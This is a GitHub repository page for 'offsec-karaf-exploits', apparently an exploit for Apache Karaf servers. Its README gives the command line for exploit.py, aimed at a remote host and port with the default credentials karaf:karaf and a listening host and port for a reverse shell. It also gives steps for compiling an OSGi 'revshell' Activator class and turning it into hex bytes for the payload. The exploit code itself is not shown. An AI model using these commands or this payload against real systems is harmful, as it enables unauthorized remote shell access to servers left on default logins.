Skip to content

visionspacetec/offsec-karaf-exploits

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

offsec-karaf-exploits

Usage:

python exploit.py --help

Example:

python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf

Rebuild Payload

Setup Felix Framework

  1. Create the lib directory
mkdir -p ./revshell/lib
  1. Download Felix Framework 7.0.5
  2. Extract the zip archive
  3. Copy the org.apache.felix.main.distribution-7.0.5/bin/felix.jar to ./revshell/lib/felix.jar

Generate Activator Class

cd revshell/bundle
javac -d ../classes -cp ../lib/felix.jar com/visionspace/osgi/revshell/Activator.java

Get Hex Values

Hex values make up the reverse shell in the exploit

./class_to_payload.py revshell/classes/com/visionspace/osgi/revshell/Activator.class

Resources

Felix Framework

About

No description, website, or topics provided.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published